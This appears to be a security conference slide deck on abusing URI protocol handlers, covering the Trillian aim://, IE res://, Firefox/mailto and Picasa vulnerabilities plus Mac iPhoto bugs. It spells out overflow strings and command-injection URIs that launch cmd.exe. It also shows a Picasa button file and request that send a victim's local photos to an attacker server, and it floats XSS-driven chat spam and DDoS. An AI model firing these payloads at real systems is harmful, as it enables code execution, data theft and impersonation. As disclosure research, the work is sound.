URI Use and Abuse

New and Improved with Mac Pwnage and Mobile Attack Vectors!!!
Contributing Authors

- Nathan McFeters – Senior Security Analyst – Ernst & Young Advanced Security Center, Chicago
- Billy Kim Rios – Senior Researcher – Microsoft, Seattle
- Rob Carter – Security Analyst – Ernst & Young Advanced Security Center, Houston
URIs – An Overview

• Generic
  – http://, ftp://, telnet://, etc.

• What else is registered?
  – aim://, firefoxurl://, picasa://, itms://, etc.
URIs – Interaction With Browsers

- Developers create URI hooks in the registry for their applications
- Once registered they can be accessed and interacted with through the browser
- XSS can play too!
URI Discovery – Where and What?

- RFC 4395 defines an IANA-maintained registry of URI Schemes
- W3C maintains *retired* schemes
- AHA! The registry! Enter DUH!
DUH Tool – Sample Output
Attacking URIs – Attack Scope

- URIs link to applications
- Applications are vulnerable to code flaws and functionality abuse
- URIs can be accessed by XSS exposures
Stack Overflow in Trillian’s aim.dll
Through the aim:// URI

- The aim:// URI is associated with the command ‘Rundll32.exe “C:\Program Files\Trillian\plugins\aim.dll”, aim_util_urlHandler url=”%1” ini="c:\program files\trillian\users \default\cache\pending_aim.ini”’. 
Stack Overflow in Trillian’s aim.dll Through the aim:// URI

- Attacker controls the value that is put into aim_util_urlHandler through the URI, such as aim://MyURL.
- Value is copied without bounds checking leading to a stack overflow
Stack Overflow in Trillian’s aim.dll

Through the aim:// URI

Example:

- aim://#1111111/111111111111111111111111111111111
  11111111111111111111111111111111111222222222222222222
  222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222}
Stack Overflow Caught By OllyDbg
Control of Pointer to Next SEH Record and SE Handler

<table>
<thead>
<tr>
<th>Address</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>0007FF34</td>
<td>3535353535</td>
</tr>
<tr>
<td>0007FF38</td>
<td>3535353535</td>
</tr>
<tr>
<td>0007FF3C</td>
<td>3535353535</td>
</tr>
<tr>
<td>0007FF40</td>
<td>3535353535</td>
</tr>
<tr>
<td>0007FF44</td>
<td>3535353535</td>
</tr>
<tr>
<td>0007FF48</td>
<td>3535353535</td>
</tr>
<tr>
<td>0007FF4C</td>
<td>3535353535</td>
</tr>
<tr>
<td>0007FF50</td>
<td>41414141</td>
</tr>
<tr>
<td>0007FF54</td>
<td>42424242</td>
</tr>
<tr>
<td>0007FF58</td>
<td>3636363636</td>
</tr>
<tr>
<td>0007FF5C</td>
<td>3636363636</td>
</tr>
<tr>
<td>0007FF60</td>
<td>3636363636</td>
</tr>
<tr>
<td>0007FF64</td>
<td>3636363636</td>
</tr>
<tr>
<td>0007FF68</td>
<td>3636363636</td>
</tr>
</tbody>
</table>

- Pointer to next SEH record
- SE handler
Command Injection in Call to Trillian’s aim.dll Through XSS

- The command associated with aim:// takes two arguments, “URL” (which we control) and “ini”, which is set by default to C:\Program Files\Trillian\users\default\cache\pending_aim.ini.
Command Injection in Call to Trillian’s aim.dll Through XSS

- Attacker can inject a " to close off the "uri" command line argument and can then inject a new "ini" parameter.
- The "ini" parameter is used to specify a file location to write startup data to.
- We can control some of that startup data through the aim:// URI.
Command Injection in Call to Trillian’s aim.dll Through XSS
Bug in Microsoft’s IFrame.dll Through res:// URI (MS07-035)

- The res:// URI is a predefined pluggable protocol in Microsoft that allows content like images, html, xsl, etc. to be pulled from DLLs or executables. Ex: res://ieframe.dll/info_48.png
- You have seen this, you just might not know it, if you have a 404 page or common error pages in IE, you’ll see a blue ?, this is loaded using res://.
Bug in Microsoft’s IFrame.dll Through res:// URI (MS07-035)

- Playing with the res:// URI, it was discovered the browser would crash if the following URI was accessed: res://ieframe.dll/#111111/1
- Further testing led to res://ieframe.dll/#111111AAAAAAAA... (long string of A’s)...AA/1, which caused the windows dumprep.exe to kick-up.
Bug in Microsoft’s IFrame.dll Through res:// URI (MS07-035)
Bug in Microsoft’s IFrame.dll Through res:// URI (MS07-035)
Cross Browser Scripting – IE pwns Firefox and Netscape Navigator

• Firefox and Netscape Navigator 9 register URIs to be “compliant with Windows Vista”.
• These URIs (“firefoxurl” and “navigatorurl”) are vulnerable to command injection when called from IE.
• Gecko based browsers accept the –chrome argument, and we can inject this to supply arbitrary JavaScript code that allows us to spawn a command prompt.
Cross Browser Scripting – IE pwns Firefox and Netscape Navigator
Command Injection in Firefox and All Gecko Based Browsers, Microsoft Outlook, etc.

- This is actually caused by a flaw in Microsoft’s shell32.dll file on non-Vista machines.
- Was fixed for Firefox by Mozilla Sec. Team for Firefox in version 2.0.0.7.
Command Injection in Firefox and All Gecko Based Browsers, Microsoft Outlook, etc.
Command Injection in Firefox and All Gecko Based Browsers, Microsoft Outlook, etc.

- The following URIs will cause a command injection:
  - mailto:%00%00././././././windows/system32/cmd".exe .././././././windows/system32/calc.exe " - " blah.bat
  - nntp:%00%00././././././windows/system32/cmd".exe .././././././windows/system32/calc.exe " - " blah.bat
  - news:%00%00././././././windows/system32/cmd".exe .././././././windows/system32/calc.exe " - " blah.bat
  - snews:%00%00././././././windows/system32/cmd".exe .././././././windows/system32/calc.exe " - " blah.bat
  - telnet:%00%00././././././windows/system32/cmd".exe .././././././windows/system32/calc.exe " - " blah.bat
Trust-based Applet Attack against Google’s Picasa (T-bAG)

- Yep, that’s right it imports a remote XML description of a button
- If that button is loaded from OUR server and clicked we get to see all those naughty pictures of your girlfriend
The Plan – Ghetto Whiteboard Edition

1. Flash app requests cross domain policy from attack server.
2. Stubs for clock while DNS rebinding occurs.
3. Flash app makes request for images on localhost as proxy by Picasa.
5. PHP script listens for incoming image upload.
6. Python CGI which parses XML and redirects to
7. PHP which loads a flash app.
8. Flash loaded in victim browser.

Quality is never an accident.
The Plan – Ghetto Diagram Edition

The Hacker

Victim’s Web Browser

YouTube, MySpace

Attack Server

Hacker Plants XSS

Vic...
Trust-based Applet Attack against Google’s Picasa (T-bAG)

The button.pbf file looks like so:
• ```xml
<?xml version="1.0" encoding="utf-8" ?>
<buttons format="1" version="1">
  <button id="custombutton/evilbutton" type="dynamic">
    <icon name="outputlayout/poster_icon" src="runtime" />
    <label>Critical Update Available</label>
    <tooltip>Click to Download Critical Update</tooltip>
    <action verb="hybrid">
      <param name="url" value="http://natemcfeters.com/pwn.py" />
    </action>
  </button>
</buttons>```
Trust-based Applet Attack against Google’s Picasa (T-bAG)

• When the button is clicked, Picasa starts up its own instance of Internet Explorer to open up whatever is at http://natemcfeters.com/pwn.py

• The real interesting thing is what Picasa SENDS:

```
POST /pwn.py HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Pragma: no-cache
Content-Type: multipart/form-data; boundary=-----------------------------5AC559581A44
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Host: evil.com
Proxy-Connection: Keep-Alive
Content-Length: 2473
```
What's Sent by Picasa?!

```xml
<?xml version="1.0" encoding="utf-8" ?>
<channel>

<title>Studio.bmp</title>

<item>

<photo:thumbnail>http://localhost:3895/7c586b0b6abc99a47ab363787ba241c/thumb7.jpg</photo:thumbnail>
<photo:img:src>http://localhost:3895/7c586b0b6abc99a47ab363787ba241c/image7.jpg</photo:img:src>
<media:group>
  <media:content url="http://localhost:3895/7c586b0b6abc99a47ab363787ba241c/image7.jpg" width="480" height="360" isDefault="true"/>
  <media:thumbnail url="http://localhost:3895/7c586b0b6abc99a47ab363787ba241c/thumb7.jpg" width="144" height="108"/>
  <media:content url="http://localhost:3895/7c586b0b6abc99a47ab363787ba241c/original7.jpg" width="480" height="360" fileSize="518454" type="Image/bmp"/>
</media:group>
</item>

<item>

<title>PWNED111.jpg</title>

<photo:thumbnail>http://localhost:3895/7c586b0b6abc99a47ab363787ba241c/thumb8.jpg</photo:thumbnail>
<photo:img:src>http://localhost:3895/7c586b0b6abc99a47ab363787ba241c/image8.jpg</photo:img:src>
<media:group>
```
Why Flash?

• We chose Flash to exploit our client-side attack vector for three reasons:
  – 1. It is vulnerable to DNS Rebinding attacks.
  – 2. If a valid crossdomain.xml file is present we can connect back to our attack server.
  – 3. As of Actionscript 3.0 we now have access to a Socket class that can read and write raw binary data.
Trust-based Applet Attack against Google’s Picasa (T-bAG)
PDP’s PDF Sploit

- One of the URI/Protocol handler attack vectors that gained a lot of publicity was the PDF based attack by PDP
- This was based off of our same mailto: command injection, and in fact, the version in the wild also uses this
Stupid IM Trick

• I want to talk to your girlfriend as if I’m you!
  – ymsgr:sendim?yourGirlFriend&m=I+think+we+should+break+up…+sorry+but+it’s+you+not+me
  – gtalk:chat?jid=Pwn1ch1wa@gmail.com
  – gtalk:call?jid=Pwn1ch1wa@gmail.com
  – gtalk:voicemail?jid=Pwn1ch1wa@gmail.com
  – aim:goim?screenname=yourGirlFriend&m=I+really+think+you’d+be+happier+with+Nate
  – skype, Gadu-Gadu, Jabber, etc.
Yep, They’re Stupid, but…

• Aside from stealing your girlfriend and causing a Denial of Service on you…
• What if you could XSS a lot of people from one page and then force their browsers to loop through sending as many of these messages as possible?
• DDoS on all chat providers anyone?
What’s Next? *Nix Anyone?

- Why oh why is no one talking about *Nix yet. Why?
  No registry… or is there? AHA! DUH4Linux.sh!
- #!/bin/bash
  gconftool-2 /desktop/gnome/url-handlers --all-dirs | cut --
  delimiter=/ -f 5 | while read line;
  do {
    gconftool-2 /desktop/gnome/url-handlers/$line -a | grep -
    i 'command' | cut --delimiter== -f 2 | while read line2;
    do {
      echo "$line                     $line2"
    } done
  } done
Output from DUH 4 Linux

- bash-3.00$ ./DUH4Linux.sh
- man        gnome-help "%%s"
- cdda       /usr/libexec/gnome-cdda-handler %s
- aim        gaim-remote uri "%%s"
- info       gnome-help "%%s"
- server-settings  nautilus "%%s"
- applications nautilus "%%s"
- https      firefox %s
- unknown    mozilla "%%s"
- ghelp      gnome-help "%%s"
- h323       gnomemeeting -c %s
- about      firefox %s
- trash      nautilus "%%s"
- http       firefox %s
- system-settings  nautilus "%%s"
- callto     gnomemeeting -c %s
- mailto     evolution %s
An Apple a Day Keeps the Hackers at Bay? Yeah, right.

- DUH4Mac was developed for me by Carl Lindberg, the same guy who brought us RCDefaultApp for turning these off on a Mac
- Has already helped us uncover a bug in Mac URI handlers
**Output From DUH4Mac**

<table>
<thead>
<tr>
<th>URL Name</th>
<th>App Bundle ID</th>
<th>App (Current Path)</th>
</tr>
</thead>
<tbody>
<tr>
<td>mailto</td>
<td></td>
<td>Mail (/Applications/Mail.app)</td>
</tr>
<tr>
<td>pcast</td>
<td>com.apple.itunes</td>
<td>iTunes (/Applications/iTunes.app)</td>
</tr>
<tr>
<td>x-man-page</td>
<td></td>
<td>Terminal (/Applications/Utilities/Terminal.app)</td>
</tr>
<tr>
<td>ftp</td>
<td>org.mozilla.firefox</td>
<td>Firefox (/Applications/Firefox.app)</td>
</tr>
<tr>
<td>im</td>
<td></td>
<td>iChat (/Applications/iChat.app)</td>
</tr>
<tr>
<td>applescript</td>
<td></td>
<td>Editor (/Applications/AppleScript/ScriptEditor.app)</td>
</tr>
<tr>
<td>webcal.com.apple.ical</td>
<td></td>
<td>iCal (/Applications/iCal.app)</td>
</tr>
<tr>
<td>directoryconnection</td>
<td></td>
<td>(/Applications/Utilities/Directory Utility.app)</td>
</tr>
<tr>
<td>rtsp</td>
<td></td>
<td>QuickTime (/Applications/QuickTime Player.app)</td>
</tr>
<tr>
<td>Keynote</td>
<td></td>
<td>Keynote (/Applications/iWork '06/Keynote.app)</td>
</tr>
<tr>
<td>ichat</td>
<td></td>
<td>iChat (/Applications/iChat.app)</td>
</tr>
<tr>
<td>feed</td>
<td></td>
<td>Safari (/Applications/Safari.app)</td>
</tr>
<tr>
<td>ssh</td>
<td></td>
<td>Terminal (/Applications/Utilities/Terminal.app)</td>
</tr>
<tr>
<td>message</td>
<td></td>
<td>Mail (/Applications/Mail.app)</td>
</tr>
<tr>
<td>afp</td>
<td></td>
<td>Finder (/System/Library/CoreServices/Finder.app)</td>
</tr>
<tr>
<td>daap</td>
<td>com.apple.itunes</td>
<td>iTunes (/Applications/iTunes.app)</td>
</tr>
<tr>
<td>mmsu</td>
<td></td>
<td>WMV (/Applications/Flip4Mac/WMV Player.app)</td>
</tr>
</tbody>
</table>
iPhoto Pwnage for Fun and Profit

- A format string vulnerability exists in iPhoto which can be triggered by enticing a user to subscribe to a maliciously crafted photocast.
- A remote attacker may be able to cause arbitrary execution of code.
iPhoto Pwnage for Fun and Profit
iPhoto Pwnage for Fun and Profit
iPhoto Pwnage for Fun and Profit
Program received signal EXC_BAD_ACCESS. Could not access memory.
Reason: KERN_PROTECTION FAILURE at address: 0x90cafaa8
0x92a7cc97 in __vfprintf ()
(gdb) x/$i $eip
0x92a7cc97 = __vfprintf+4857:
0x92a7cc99 = __vfprintf+4869:
jmp 0x92a7bb5d = __vfprintf+457:
0x92a7cc9e = __vfprintf+4874:
orl $0x10, -0x6d8(%ebp):
0x92a7ccae = __vfprintf+4881:
testl $0x4000, -0x6d8(%ebp):
0x92a7ccce = __vfprintf+4889:
jne 0x92a7da26 = __vfprintf+8336:
(gdb) info registers
eax 0x90cafaa8 -1865745768
ecx 0x8 0
edx 0x0 0
ebx 0x92a7bb9f -1834501729
esp 0xbfffc1e0 0xbfffc1e0
ebp 0xbfffd238 0xbfffd238
esi 0x19 25
di 0xbfffe750 -1873748144
eip 0x92a7cc97 0x92a7cc97 = __vfprintf+4857:

iPhoto Pwnage for Fun and Profit
iPhoto Pwnage for Fun and Profit
iPhoto Pwnage for Fun and Profit

reading address 0xba919000 in target task
copy the segment from start at 0xba919000 to 0xba91b000
Segment Protection: ((null), max r--; rwx, copy, private)
dumping our local copy with size 8192
wrote segment dump to: dumps/2651/BA919000

reading address 0xba91b000 in target task
Segment 0xbc000000 to 0xbf800000 is unreadable (permissions (null)). must be a STACK GUARD segment.
reading address 0xbf800000 in target task
copy the segment from start at 0xbf800000 to 0xbffff000
Segment Protection: ((null), max rw--; rwx, copy, private)
dumping our local copy with size 8384512
wrote segment dump to: dumps/2651/BF800000

reading address 0xbffff000 in target task
copy the segment from start at 0xbffff000 to 0xc0000000
Segment Protection: ((null), max rw--; rwx, copy, private)
dumping our local copy with size 4096
wrote segment dump to: dumps/2651/BFFFF000

reading address 0xc0000000 in target task
No memory regions left to read, exiting....
=> true
>> searchMem pid, "deadbeef%25n"
iPhoto Pwnage for Fun and Profit

```
Searching BA919000...
Searching BF800000...
Searching BFFFF000...
=> [15573653, 15577749, 372212138, 372220330, 391276892, 391307340, 391469404, 391499852, 391481439, 392140895]
>> attachDebugger pid
GNU gdb 6.3.50-20050815 (Apple version gdb-768) (Tue Oct 2 04:07:49 UTC 2007)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-apple-darwin".
Attaching to process 2651.
Reading symbols for shared libraries . done
Reading symbols for shared libraries ........................................... done

0x90dd5995 in __vfprintf ()
(gdb) x/s 15573653
0xeda295: "deadbeef%25n"
(gdb)
```
And… Just in Time for Tax Season

• TurboTax on the Mac brings you friendly URIs… WHY?!
  – com.intuit.ctg.tpshelpscreen
  – com.intuit.ctg.tpsformaddress
  – com.intuit.ctg.tpsformfieldhelp
  – com.intuit.ctg.easystepjump
Mobile Pwnage??!! See us in Vegas Baby (Hopefully)!

Here’s a dump of the relevant portions of the Windows Mobile OS registry:

- [HKEY_CLASSES_ROOT\callto\Shell\Open\Command] @="cprog.exe -n -url %1"
- [HKEY_CLASSES_ROOT\dtmf\Shell\Open\Command] @="cprog.exe -n -url %1"
- [HKEY_CLASSES_ROOT\tel\Shell\Open\Command] @="cprog.exe -n -url %1"
- [HKEY_CLASSES_ROOT\MMSU\Shell\Open\Command] @="wmplayer.exe "%1"
- [HKEY_CLASSES_ROOT\MMS\Shell\Open\Command] @="wmplayer.exe "%1" -- @="officeres.dll,-13073"
- [HKEY_CLASSES_ROOT\wsp\Shell\Open\Command] @="iexplore.exe %1"
- [HKEY_CLASSES_ROOT\res\Shell\Open\Command] @="iexplore.exe %1"
Conclusions and Questions

• You can find us at any building in the city designated with a red light or a mushroom sign. Cactii?
• Any questions?